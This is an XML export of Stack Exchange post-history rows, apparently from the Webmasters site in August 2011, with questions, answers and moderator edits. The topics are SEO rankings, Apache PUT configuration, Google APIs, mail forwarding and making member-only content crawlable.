  <row Id="46156" PostHistoryTypeId="5" PostId="18881" RevisionGUID="561fb9ea-d059-4d2e-845f-ffe9e9f87b70" CreationDate="2011-08-29T08:06:55.780" UserId="4121" Comment="Englishified the text" Text="My host provider told me last night their server crashed and they had restored the website from from an image they had from months ago, They told me this is the only backup they have. I also have no backup, as my backup server crashed few days ago.&#xD;&#xA;&#xD;&#xA;Through google cache I can see all the website as it was few days ago. Is it possible to recover my website using google cache or is there any tool which help me to recover? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks,  " />
  <row Id="46157" PostHistoryTypeId="4" PostId="18881" RevisionGUID="561fb9ea-d059-4d2e-845f-ffe9e9f87b70" CreationDate="2011-08-29T08:06:55.780" UserId="4121" Comment="Englishified the text" Text="How to recover a website from google cache?" />
  <row Id="46158" PostHistoryTypeId="24" PostId="18881" RevisionGUID="561fb9ea-d059-4d2e-845f-ffe9e9f87b70" CreationDate="2011-08-29T08:06:55.780" Comment="Proposed by 4121 approved by 5134 edit id of 511" />
  <row Id="46159" PostHistoryTypeId="2" PostId="18886" RevisionGUID="8111f754-732f-4fab-8b23-53c2fdea5573" CreationDate="2011-08-29T08:08:11.040" UserId="9882" Text="I would try to have something like five star rating , but not alone , I would like it a part of a form that user have to click on it and also enter his opinion about article , how can I retrieve the ID of picture (1start,2stars,...) that clicked on after submiting form?&#xD;&#xA;Also I would like to have validation on it , I mean user have to click on five star picture.&#xD;&#xA;I would like to use jquery&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Ramin. " />
  <row Id="46160" PostHistoryTypeId="1" PostId="18886" RevisionGUID="8111f754-732f-4fab-8b23-53c2fdea5573" CreationDate="2011-08-29T08:08:11.040" UserId="9882" Text="How can I get the ID of a picture that user click on it?" />
  <row Id="46161" PostHistoryTypeId="3" PostId="18886" RevisionGUID="8111f754-732f-4fab-8b23-53c2fdea5573" CreationDate="2011-08-29T08:08:11.040" UserId="9882" Text="&lt;jquery&gt;" />
  <row Id="46162" PostHistoryTypeId="2" PostId="18887" RevisionGUID="d03052c7-ccf3-42af-8b0a-f4201ab58063" CreationDate="2011-08-29T08:19:47.730" UserId="9909" Text="My first tip to you would be not to share your stats to the world. You can add a printscreen to it or something like that, but don't randomly share all stats because I as a webmaster can come and steal your keywords, build another site and make it rank in Google Search better that your site.&#xD;&#xA;&#xD;&#xA;I think what your are expeciencing is a normal loss in rankings due to the Google database shift. I've looked over your site and frankly it looks a bit spammy. Try placing less ads on it and try getting more traffic rather than over-monetizing your blog. &#xD;&#xA;&#xD;&#xA;The tips I have for you at this point, if you want to make some money online is:&#xD;&#xA;&#xD;&#xA;1. Learn some basic SEO, and really start from the basics.&#xD;&#xA;2. Get a paid and hosted domain. Really get one and make it good. (Use Wordpress on it)&#xD;&#xA;3. Provide some good content, 50+ blog posts and don't even start thinking about monetizing it until you have reached 20 posts on you blog.&#xD;&#xA;4. Optimize traffic, build links, socialize and you will get ranking.&#xD;&#xA;&#xD;&#xA;It's some work, but worth it in the end.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;&#xD;&#xA;Daniel.&#xD;&#xA;https://plus.google.com/104085113466854660738/" />
  <row Id="46163" PostHistoryTypeId="5" PostId="18887" RevisionGUID="1b878df7-564f-4dbd-be7b-e689928f0d8b" CreationDate="2011-08-29T08:34:02.697" UserId="8354" Comment="removed signature" Text="My first tip to you would be not to share your stats to the world. You can add a printscreen to it or something like that, but don't randomly share all stats because I as a webmaster can come and steal your keywords, build another site and make it rank in Google Search better that your site.&#xD;&#xA;&#xD;&#xA;I think what your are experiencing is a normal loss in rankings due to the Google database shift. I've looked over your site and frankly it looks a bit spammy. Try placing less ads on it and try getting more traffic rather than over-monetizing your blog. &#xD;&#xA;&#xD;&#xA;The tips I have for you at this point, if you want to make some money online is:&#xD;&#xA;&#xD;&#xA;1. Learn some basic SEO, and really start from the basics.&#xD;&#xA;2. Get a paid and hosted domain. Really get one and make it good. (Use WordPress on it)&#xD;&#xA;3. Provide some good content, 50+ blog posts and don't even start thinking about monetizing it until you have reached 20 posts on you blog.&#xD;&#xA;4. Optimize traffic, build links, socialize and you will get ranking.&#xD;&#xA;&#xD;&#xA;It's some work, but worth it in the end." />
  <row Id="46164" PostHistoryTypeId="5" PostId="18884" RevisionGUID="d4c89057-340d-4a33-b315-cee6f1c06cb6" CreationDate="2011-08-29T08:42:01.967" UserId="7074" Comment="removed url and added few" Text="I have a blog regarding Placement papers from December 2010. My monthly impressions are around 4000. From last 2 days, my blog has disappeared from Google search engine pages. impressions have reduced drastically.&#xD;&#xA;&#xD;&#xA;Please check Stat reports: &#xD;&#xA;![Stats Reports][1]&#xD;&#xA;&#xD;&#xA;My blog is still on the search engine because when i search “site: http://placementpapersanswers.blogspot.com” on Google, i can see my all pages indexed over there…&#xD;&#xA;&#xD;&#xA;But my pages which used to appear on the first or second pages of google do not appear any more.&#xD;&#xA;&#xD;&#xA;Example: if i search with query “GE round 2 code writing test” on bing.co or yahoo search, first link on the result page is my blog.&#xD;&#xA;&#xD;&#xA;But if you do same on google, my url do not appear even on the 1st 3 result pages. I used to get lots of visitors by these serch query earlier.&#xD;&#xA;&#xD;&#xA;Any help is appreciated.&#xD;&#xA;&#xD;&#xA;Blog Address: http://placementpapersanswers.blogspot.com/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/enaUW.jpg" />
  <row Id="46165" PostHistoryTypeId="5" PostId="18883" RevisionGUID="6c4e11c3-1595-45be-82b5-49b0aa3b4518" CreationDate="2011-08-29T08:43:02.667" UserId="8354" Comment="improved formatting, spelling" Text="I've written code for file upload and download using `HttpWebRequest`/`HttpWebResponse` class in C# with Apache 2.2 as a web server. In code I'm using `request.method = &quot;PUT&quot;`.&#xD;&#xA;&#xD;&#xA;I want to config my http config file to support `PUT` method. I write PUT method script as&#xD;&#xA;&#xD;&#xA;    &lt;Location &quot;C:/Program Files/Apache Software Foundation/Apache2.2/htdocs/output&quot;&gt;&#xD;&#xA;    &lt;Dav On&#xD;&#xA;    &lt;LimitExcept GET HEAD OPTIONS PUT&gt;&#xD;&#xA;    Allow from all&#xD;&#xA;    &lt;/LimitExcept&gt;&#xD;&#xA;    &lt;/Location&gt;&#xD;&#xA;&#xD;&#xA;That's not working.. It shows error at program output: `(405) The method not allowed`" />
  <row Id="46166" PostHistoryTypeId="6" PostId="18883" RevisionGUID="6c4e11c3-1595-45be-82b5-49b0aa3b4518" CreationDate="2011-08-29T08:43:02.667" UserId="8354" Comment="improved formatting, spelling" Text="&lt;apache&gt;&lt;httpd.conf&gt;" />
  <row Id="46167" PostHistoryTypeId="2" PostId="18888" RevisionGUID="2f48f65b-7436-48fa-ba84-35d3aa0d6ba9" CreationDate="2011-08-29T08:54:52.320" UserId="8354" Text="1. Your `&lt;Dav On` directive is not complete (no need for `&lt;`) -- I assume it's just a copy-paste issue.&#xD;&#xA;&#xD;&#xA;2. More importantly -- you are using `&lt;Location&gt;` directive ... but providing physical path on your file system/hard drive.&#xD;&#xA;&#xD;&#xA; That's wrong -- **`&lt;Location&gt;` is used to match URLs, not directories**; to match directories you need to use `&lt;Directory&gt;`. Please refer to Apache manual: http://httpd.apache.org/docs/current/mod/core.html#location&#xD;&#xA;&#xD;&#xA; You most likely need to use `&lt;Location /output&gt;` instead (or use `&lt;Directory&gt;` instead of `&lt;Location&gt;`) -- that's my guess based on the amount of config data you have provided.&#xD;&#xA;&#xD;&#xA;Taking the above into consideration you will need something like this (sorry, I cannot connect to my Apache box to test it):&#xD;&#xA;&#xD;&#xA;    &lt;Location /output&gt;&#xD;&#xA;        Dav On&#xD;&#xA;        &lt;LimitExcept GET HEAD OPTIONS PUT&gt;&#xD;&#xA;            Allow from all&#xD;&#xA;        &lt;/LimitExcept&gt;&#xD;&#xA;    &lt;/Location&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="46168" PostHistoryTypeId="2" PostId="18889" RevisionGUID="93ae272f-f8b9-47e6-852f-ff0d26990dca" CreationDate="2011-08-29T09:01:27.380" UserId="9909" Text="What I would ask myself at this point is: are those subdomains helpful or are they only 301's. If they have some content on them, if they are part of your website I would keep them there.&#xD;&#xA;&#xD;&#xA;On the other hand, if they are just 301's I don't think Google likes them too much. I mean, you can get two links from the outside which in many cases add more link juice than the internal ones, so I would dump your 301's and go with more outside links.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;&#xD;&#xA;Daniel. " />
  <row Id="46169" PostHistoryTypeId="25" PostId="18880" RevisionGUID="c1cf2781-190a-40d5-bd3c-4d0cd0db41f4" CreationDate="2011-08-29T09:35:44.080" Comment="http://twitter.com/#!/StackWebmasters/status/108110573547425792" />
  <row Id="46170" PostHistoryTypeId="2" PostId="18890" RevisionGUID="ef159d2b-3bad-4ac3-9bb7-1e9bdf0a0a3f" CreationDate="2011-08-29T11:02:23.520" UserId="9915" Text="I am looking for a service which can easily forward up to 200-300 email accounts. I am ok with paying a nominal fee . I don't want to manage yet another mail server. I looked into mailroute, but its 500 US$ per month for my use case (way too expensive)" />
  <row Id="46171" PostHistoryTypeId="1" PostId="18890" RevisionGUID="ef159d2b-3bad-4ac3-9bb7-1e9bdf0a0a3f" CreationDate="2011-08-29T11:02:23.520" UserId="9915" Text="cheap paid mail forwarding service for 200-300 accounts" />
  <row Id="46172" PostHistoryTypeId="3" PostId="18890" RevisionGUID="ef159d2b-3bad-4ac3-9bb7-1e9bdf0a0a3f" CreationDate="2011-08-29T11:02:23.520" UserId="9915" Text="&lt;email&gt;" />
  <row Id="46173" PostHistoryTypeId="6" PostId="18886" RevisionGUID="45194cbb-230b-45ef-bf15-81e9f6da0189" CreationDate="2011-08-29T12:03:32.883" UserId="9123" Comment="added javascript tag" Text="&lt;javascript&gt;&lt;jquery&gt;" />
  <row Id="46174" PostHistoryTypeId="24" PostId="18886" RevisionGUID="45194cbb-230b-45ef-bf15-81e9f6da0189" CreationDate="2011-08-29T12:03:32.883" Comment="Proposed by 9123 approved by 108 edit id of 512" />
  <row Id="46175" PostHistoryTypeId="25" PostId="18597" RevisionGUID="f81845d9-78c7-4954-bd00-9fcddb26d45a" CreationDate="2011-08-29T12:35:43.443" Comment="http://twitter.com/#!/StackWebmasters/status/108155870097055744" />
  <row Id="46177" PostHistoryTypeId="5" PostId="18882" RevisionGUID="f2946ee9-db8f-44c4-b2c6-249ff4304ef4" CreationDate="2011-08-29T13:15:41.850" UserId="221" Comment="deleted 4 characters in body" Text="I would like to know if it is possible to remotely install a server OS via root. &#xD;&#xA;If it is possible, how can it be done?&#xD;&#xA;&#xD;&#xA;This question might be strange or impossible, so I have listed my assumptions below.&#xD;&#xA;&#xD;&#xA;**Assumptions**&#xD;&#xA;&#xD;&#xA;  - You have purchased a dedicated server with access to root.&#xD;&#xA;  - You don't have physical access to the server.&#xD;&#xA;  - You don't want the hosting company to install the operating system (They would install the OS using a non-English language).&#xD;&#xA;  - The server OS will be a linux distro such as Ubuntu or CentOS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you have an alternate solution (Example- Have the hosting company install the OS then change the language), I'd love to hear it.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="46178" PostHistoryTypeId="2" PostId="18892" RevisionGUID="a171f02d-e70c-42f6-b05a-5f0b35ecbc5c" CreationDate="2011-08-29T13:17:01.910" UserId="9918" Text="Whats steps do I need to perform in order to publish a website ?&#xD;&#xA;&#xD;&#xA;Does it matter if my site is written using rails/groovy or just java servlets, are there hosting companies that cater for all of the above ?&#xD;&#xA;&#xD;&#xA;Just looking for an idea of whats involved.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="46179" PostHistoryTypeId="1" PostId="18892" RevisionGUID="a171f02d-e70c-42f6-b05a-5f0b35ecbc5c" CreationDate="2011-08-29T13:17:01.910" UserId="9918" Text="Steps to publish a website on the internet" />
  <row Id="46180" PostHistoryTypeId="3" PostId="18892" RevisionGUID="a171f02d-e70c-42f6-b05a-5f0b35ecbc5c" CreationDate="2011-08-29T13:17:01.910" UserId="9918" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="46181" PostHistoryTypeId="14" PostId="18882" RevisionGUID="7325e674-04dd-49c6-bf99-167242769854" CreationDate="2011-08-29T13:19:58.177" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="46182" PostHistoryTypeId="17" PostId="18882" RevisionGUID="042ae33b-2309-42da-a2f2-b03c6f939d5f" CreationDate="2011-08-29T13:19:58.193" UserId="1253" Comment="to http://serverfault.com/questions/306059/how-to-remotely-install-server-via-root" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46183" PostHistoryTypeId="10" PostId="18882" RevisionGUID="661d6dd2-7e03-4ac6-bac1-7cde7f74c983" CreationDate="2011-08-29T13:19:57.070" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46184" PostHistoryTypeId="10" PostId="18892" RevisionGUID="e8372141-7386-41ff-bdf6-bc011140f2fd" CreationDate="2011-08-29T13:20:16.147" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46185" PostHistoryTypeId="14" PostId="18886" RevisionGUID="fd33104f-29f2-45c7-b9ac-fe5b150f6e58" CreationDate="2011-08-29T13:20:45.167" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="46186" PostHistoryTypeId="17" PostId="18886" RevisionGUID="cc4567f4-cd45-4b57-a443-f48a984e2745" CreationDate="2011-08-29T13:20:45.167" UserId="1253" Comment="to http://stackoverflow.com/questions/7230663/how-can-i-get-the-id-of-a-picture-that-user-click-on-it" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46187" PostHistoryTypeId="10" PostId="18886" RevisionGUID="5de3d58b-b2a4-4db1-9bb3-9f40c4d7a011" CreationDate="2011-08-29T13:20:44.883" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46188" PostHistoryTypeId="5" PostId="18884" RevisionGUID="a85b3c08-c709-4778-88f3-9efc4778e12a" CreationDate="2011-08-29T13:21:47.893" UserId="1253" Comment="Removed URL so this isn't closed as too lcoalized" Text="I have a blog regarding Placement papers from December 2010. My monthly impressions are around 4000. From last 2 days, my blog has disappeared from Google search engine pages. impressions have reduced drastically.&#xD;&#xA;&#xD;&#xA;Please check Stat reports: &#xD;&#xA;![Stats Reports][1]&#xD;&#xA;&#xD;&#xA;My blog is still on the search engine because when i search “site: mydomain.com” on Google, i can see my all pages indexed over there…&#xD;&#xA;&#xD;&#xA;But my pages which used to appear on the first or second pages of google do not appear any more.&#xD;&#xA;&#xD;&#xA;Example: if i search with query “GE round 2 code writing test” on bing.co or yahoo search, first link on the result page is my blog.&#xD;&#xA;&#xD;&#xA;But if you do same on google, my url do not appear even on the 1st 3 result pages. I used to get lots of visitors by these serch query earlier.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/enaUW.jpg" />
  <row Id="46189" PostHistoryTypeId="6" PostId="18884" RevisionGUID="a85b3c08-c709-4778-88f3-9efc4778e12a" CreationDate="2011-08-29T13:21:47.893" UserId="1253" Comment="Removed URL so this isn't closed as too lcoalized" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="46191" PostHistoryTypeId="19" PostId="13830" RevisionGUID="4adbdade-481d-4595-9563-7d50edadc360" CreationDate="2011-08-29T13:50:59.647" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="46194" PostHistoryTypeId="2" PostId="18893" RevisionGUID="ffc967c6-411a-4afe-b516-328cfda432f5" CreationDate="2011-08-29T15:11:15.303" UserId="2982" Text="I find Yahoo! Data tables very useful. You can access them using YQL (Yahoo query language) to retrieve information such as stock markets, currency rates, etc. See http://developer.yahoo.com/yql/console/ for more information.&#xD;&#xA;&#xD;&#xA;I was wondering, though, whether Google has anything similar?" />
  <row Id="46195" PostHistoryTypeId="1" PostId="18893" RevisionGUID="ffc967c6-411a-4afe-b516-328cfda432f5" CreationDate="2011-08-29T15:11:15.303" UserId="2982" Text="Is the Google version of Yahoo's Data tables?" />
  <row Id="46196" PostHistoryTypeId="3" PostId="18893" RevisionGUID="ffc967c6-411a-4afe-b516-328cfda432f5" CreationDate="2011-08-29T15:11:15.303" UserId="2982" Text="&lt;google&gt;&lt;yahoo&gt;" />
  <row Id="46197" PostHistoryTypeId="2" PostId="18894" RevisionGUID="57239070-4117-416b-9c8f-9a98ea743e8a" CreationDate="2011-08-29T15:15:19.590" UserId="1253" Text="[Google Finance API][1]&#xD;&#xA;&#xD;&#xA;This API is deprecated so you may see reduced functionality and/or it will go away at some point in the future.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/finance/" />
  <row Id="46198" PostHistoryTypeId="25" PostId="18881" RevisionGUID="b78f35ff-5e95-41cb-b7a1-8464de942d5a" CreationDate="2011-08-29T15:35:44.240" Comment="http://twitter.com/#!/StackWebmasters/status/108201171491102720" />
  <row Id="46199" PostHistoryTypeId="5" PostId="18894" RevisionGUID="a104abbb-643c-427c-8548-1b14a500330e" CreationDate="2011-08-29T15:43:16.633" UserId="1253" Comment="deleted 110 characters in body" Text="Here's a list of Available Goolge APIs and more: http://code.google.com/labs/" />
  <row Id="46200" PostHistoryTypeId="6" PostId="18893" RevisionGUID="a2ed160e-132a-4fad-8bd6-1771e2d7efdf" CreationDate="2011-08-29T15:52:31.517" UserId="1253" Comment="edited tags" Text="&lt;google&gt;&lt;api&gt;&lt;yahoo&gt;" />
  <row Id="46201" PostHistoryTypeId="2" PostId="18895" RevisionGUID="28e4442d-b611-4db6-b449-56cfce08bccd" CreationDate="2011-08-29T16:50:02.123" UserId="9909" Text="Frankly I never look at Yahoo and Bing to bring me too much traffic. What I do instead is try to funnel traffic to my sites using Google, Twitter, Facebook, Youtube and many others. If your site is OK with Google, I think you can buy it because Yahoo and Bing don't bring you too much traffic.&#xD;&#xA;&#xD;&#xA;I know that ignoring Y and B is maybe not so good on the long run, but as I see it, in the next 3-5 years Google will still be the most used browser out there." />
  <row Id="46202" PostHistoryTypeId="2" PostId="18896" RevisionGUID="590b8d61-a855-44cf-ac5d-35acb5bca0d6" CreationDate="2011-08-29T17:17:43.417" UserId="9921" Text="Why use Blogger when there are plenty of better options (also free, also easy to integrate with Google services) out there with much better support for static pages?&#xD;&#xA;&#xD;&#xA;e.g. WordPress&#xD;&#xA;&#xD;&#xA;WordPress.com is the closest to Blogger/Blogspot. The self hosted version (wordpress.org) allows much more customization and works on a LAMP (recommended) or WAMP stack and just about any hosting account out there.&#xD;&#xA;&#xD;&#xA;There's plenty of How-tos on building WP sites just a Google search away.&#xD;&#xA;&#xD;&#xA;Blogger's software stack is really a non-issue since customization is limited to HTML/CSS and Javascript, so the stack doesn't really matter." />
  <row Id="46203" PostHistoryTypeId="4" PostId="18893" RevisionGUID="9baad216-1f5a-492a-9bbb-8e5632109fbd" CreationDate="2011-08-29T17:46:42.980" UserId="4306" Comment="updated subject for clarity" Text="What is the Google version of Yahoo's Data tables?" />
  <row Id="46204" PostHistoryTypeId="24" PostId="18893" RevisionGUID="9baad216-1f5a-492a-9bbb-8e5632109fbd" CreationDate="2011-08-29T17:46:42.980" Comment="Proposed by 4306 approved by 4502 edit id of 513" />
  <row Id="46205" PostHistoryTypeId="2" PostId="18897" RevisionGUID="59e3d4d4-7ba0-47fc-ba97-1dd2ba21803c" CreationDate="2011-08-29T17:51:15.343" UserId="9923" Text="I'm totally new to the business of SEO - what are good resources to get started?&#xD;&#xA;&#xD;&#xA;When I try to Google such a question I end up quickly at black-hat and paid sites; I'm looking for the white-hat variety." />
  <row Id="46206" PostHistoryTypeId="1" PostId="18897" RevisionGUID="59e3d4d4-7ba0-47fc-ba97-1dd2ba21803c" CreationDate="2011-08-29T17:51:15.343" UserId="9923" Text="Beginners resources for SEO" />
  <row Id="46207" PostHistoryTypeId="3" PostId="18897" RevisionGUID="59e3d4d4-7ba0-47fc-ba97-1dd2ba21803c" CreationDate="2011-08-29T17:51:15.343" UserId="9923" Text="&lt;seo&gt;" />
  <row Id="46208" PostHistoryTypeId="16" PostId="18897" RevisionGUID="00636df9-5bfa-4ce3-85a1-f189c8875d23" CreationDate="2011-08-29T17:55:58.180" UserId="1253" />
  <row Id="46209" PostHistoryTypeId="2" PostId="18898" RevisionGUID="58f4734c-334b-4ab3-b5f7-3f776c79d202" CreationDate="2011-08-29T18:01:13.110" UserId="9495" Text="Free video tutorials or good content step by step tutorials&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The tutorials should be FREE, GOOD QUALITY AND UPDATED, SHOULD COVER ALL LESSONS.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="46210" PostHistoryTypeId="1" PostId="18898" RevisionGUID="58f4734c-334b-4ab3-b5f7-3f776c79d202" CreationDate="2011-08-29T18:01:13.110" UserId="9495" Text="Adobe Dreamweaver CS4 - Free video tutorials or good content step by step tutorials. Please Share?" />
  <row Id="46211" PostHistoryTypeId="3" PostId="18898" RevisionGUID="58f4734c-334b-4ab3-b5f7-3f776c79d202" CreationDate="2011-08-29T18:01:13.110" UserId="9495" Text="&lt;html&gt;&lt;css&gt;&lt;web-development&gt;&lt;website-design&gt;&lt;websites&gt;" />
  <row Id="46212" PostHistoryTypeId="2" PostId="18899" RevisionGUID="43c746f9-643f-42e1-8507-975ae7403d62" CreationDate="2011-08-29T18:21:00.657" UserId="9924" Text="A couple resources that helped me get started:&#xD;&#xA;&#xD;&#xA; - [Google's guide on creating Google-friendly Sites][1].&#xD;&#xA; - Automate My Small Business podcast episode: [SEO: Getting Your Website on Page 1 of Google and Bing][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=40349&#xD;&#xA;  [2]: http://automatemysmallbusiness.com/seo-getting-your-website-on-page-1-of-google-and-bing-part-1/" />
  <row Id="46213" PostHistoryTypeId="16" PostId="18899" RevisionGUID="0816993e-6f2e-4cfe-a9f3-91efbe4461df" CreationDate="2011-08-29T18:21:00.657" UserId="9924" />
  <row Id="46214" PostHistoryTypeId="25" PostId="18890" RevisionGUID="25ffe02c-9566-4626-a463-e8425cf4ffeb" CreationDate="2011-08-29T18:35:45.103" Comment="http://twitter.com/#!/StackWebmasters/status/108246472922890240" />
  <row Id="46215" PostHistoryTypeId="2" PostId="18900" RevisionGUID="42dcecdb-82df-4e92-bd6b-e8664e0bc0af" CreationDate="2011-08-29T18:54:05.383" UserId="9909" Text="I think one of these days I will write a guide and post it here, but until then you will have to do with the following resources. When I started out I knew there was not much to read until I would have gotten bored and left the whole thing. It is very important to know what you need the SEO for and if you want SEO or also SEM (Search Engine Marketing). If you plan on using only SEO, then read Google's guide on creating Google-friendly Sites is a good resource to start with.&#xD;&#xA;&#xD;&#xA;On the other hand, if you want to make money online then you will need much more than some basic knowledge on SEO. Start to look at:&#xD;&#xA;&#xD;&#xA;1. SEO Moz Guide - Good reading on SEO&#xD;&#xA;http://www.seomoz.org/beginners-guide-to-seo&#xD;&#xA;&#xD;&#xA;2. http://www.makemoneyonlinewithseo.com/&#xD;&#xA;&#xD;&#xA;Daniel.&#xD;&#xA;" />
  <row Id="46216" PostHistoryTypeId="16" PostId="18900" RevisionGUID="0d687d5b-7f82-4a3f-8009-738499b973a2" CreationDate="2011-08-29T18:54:05.383" UserId="9909" />
  <row Id="46217" PostHistoryTypeId="17" PostId="18901" RevisionGUID="cea736c7-2cb0-44f3-98b4-5e85eebb1e05" CreationDate="2011-08-29T19:26:54.853" UserId="-1" Comment="from http://stackoverflow.com/questions/7233360/spidering-private-member-based-websites" Text="" />
  <row Id="46218" PostHistoryTypeId="17" PostId="18902" RevisionGUID="f30926ab-0eb0-41bb-ac96-0c3e4b5b638c" CreationDate="2011-08-29T19:26:54.853" UserId="-1" Comment="from http://stackoverflow.com/questions/7233360/spidering-private-member-based-websites" Text="" />
  <row Id="46219" PostHistoryTypeId="2" PostId="18902" RevisionGUID="109d57e7-1e1e-423e-b8ea-a0960a11ba1f" CreationDate="2011-08-29T17:24:11.370" UserId="1253" Text="If you make content available to Google but not available to users who are not logged in then you are violating Google's terms of service. The result of this is your pages been removed from their index or your site being blacklisted. &#xD;&#xA;&#xD;&#xA;The closest you can come to this is to do what is called &quot;first page free&quot; where you allow Google, and anyone coming from Google to view that content without being logged in. Experts-exchange.com is an example of a website that currently does this. If they want to see more content then they need to login. Of course, they can work around this by continually coming to the pages they want to view from Google's search results. " />
  <row Id="46220" PostHistoryTypeId="2" PostId="18901" RevisionGUID="f00b6b1e-ac6b-4117-8263-b07ae0ef9a6d" CreationDate="2011-08-29T17:09:54.637" UserId="9926" UserDisplayName="Nathan" Text="I'm building a member based social network that requires users to be logged in to view content, in addition to that the content feeds (blogs, forum posts, comments, etc) are being stored in a database. Will google be able to spider this site for key words? If not then what do I need to do for them to be able to spider it? If someone could link me to a descriptive article that'd be awesome because I'm not getting much info from google and google searches." />
  <row Id="46221" PostHistoryTypeId="1" PostId="18901" RevisionGUID="f00b6b1e-ac6b-4117-8263-b07ae0ef9a6d" CreationDate="2011-08-29T17:09:54.637" UserId="9926" UserDisplayName="Nathan" Text="Spidering private member based websites" />
  <row Id="46222" PostHistoryTypeId="3" PostId="18901" RevisionGUID="f00b6b1e-ac6b-4117-8263-b07ae0ef9a6d" CreationDate="2011-08-29T17:09:54.637" UserId="9926" UserDisplayName="Nathan" Text="&lt;google&gt;" />
  <row Id="46223" PostHistoryTypeId="2" PostId="18903" RevisionGUID="f200f1b7-2010-4dc1-9217-52a0599c2aab" CreationDate="2011-08-29T19:39:59.167" UserId="9926" Text="I'm trying to figure out how to make it so that my member based social network site can be spidered but it not possible for guests to post or interact with content in any way. What is the best way to do this? If anyone can suggest an article or tutorial specifically for this that would be awesome, the system ive had up in the past was a check user log script but that was for the whole page, is there a way to do this for (as an example clicking inside a text box to type a comment or something?" />
  <row Id="46224" PostHistoryTypeId="1" PostId="18903" RevisionGUID="f200f1b7-2010-4dc1-9217-52a0599c2aab" CreationDate="2011-08-29T19:39:59.167" UserId="9926" Text="Google spidering: make content available but unsuable" />
  <row Id="46225" PostHistoryTypeId="3" PostId="18903" RevisionGUID="f200f1b7-2010-4dc1-9217-52a0599c2aab" CreationDate="2011-08-29T19:39:59.167" UserId="9926" Text="&lt;google&gt;&lt;web-crawlers&gt;" />
  <row Id="46226" PostHistoryTypeId="2" PostId="18904" RevisionGUID="23870172-d598-4e06-9c36-d035a90cad9e" CreationDate="2011-08-29T19:47:28.223" UserId="1253" Text="If your member based content is behind a login then you've already got most of what you need to do this in place. When a user authenticates themselves on your website you probably set some sort of flag (probably in a session variable) to flag them as authorized so they can move freely throughout the member's area. At this point in time you can also set a flag that gives them write permission in your website. Then users you allow to view this content because they found it through Google won't have the necessary permission to interact with your content because they will not have authenticated themselves." />
  <row Id="46227" PostHistoryTypeId="5" PostId="18904" RevisionGUID="5aa2cd65-6795-4df6-a5d0-a22b27b3d24b" CreationDate="2011-08-29T20:07:26.570" UserId="1253" Comment="added 390 characters in body" Text="If your member based content is behind a login then you've already got most of what you need to do this in place. When a user authenticates themselves on your website you probably set some sort of flag (probably in a session variable) to flag them as authorized so they can move freely throughout the member's area. At this point in time you can also set a flag that gives them write permission in your website. Then users you allow to view this content because they found it through Google won't have the necessary permission to interact with your content because they will not have authenticated themselves.&#xD;&#xA;&#xD;&#xA;You can also make it so anyone trying to submit a form, or otherwise modify your content, is rejected because they are not logged in. In fact, hiding the necessary tools for adding or modifying content to anyone who is not logged in is probably the smartest way to go about it (although for security purposes you also want to verify that all submitted content is from a logged in user)." />
  <row Id="46228" PostHistoryTypeId="2" PostId="18905" RevisionGUID="e1c7aabb-1450-4fb8-af73-9e1e1d596eca" CreationDate="2011-08-29T20:09:52.367" UserId="6033" Text="I'm working on a website that doesn't want it's content indexed by search engines because it only caters to a specific segment of the population. It purposefully wants to stay hidden from the general public.&#xD;&#xA;&#xD;&#xA;It **does** want it's company name indexed in search engines however, because when the company sends targeted snail mail advertising, users should be able to type the name and find the site. &#xD;&#xA;&#xD;&#xA;It's a requirement for the homepage to function as a gateway into the the rest of the site, so it's unavoidable that the homepage will be rich in relevant keywords that could lead to the site being found by the general public.&#xD;&#xA;&#xD;&#xA;**Summary:** What's a good approach to have a webpage indexed solely by the companies name without generating other keyword searches related to the company? " />
  <row Id="46229" PostHistoryTypeId="1" PostId="18905" RevisionGUID="e1c7aabb-1450-4fb8-af73-9e1e1d596eca" CreationDate="2011-08-29T20:09:52.367" UserId="6033" Text="Index Company Name but not other keywords" />
  <row Id="46230" PostHistoryTypeId="3" PostId="18905" RevisionGUID="e1c7aabb-1450-4fb8-af73-9e1e1d596eca" CreationDate="2011-08-29T20:09:52.367" UserId="6033" Text="&lt;indexing&gt;" />
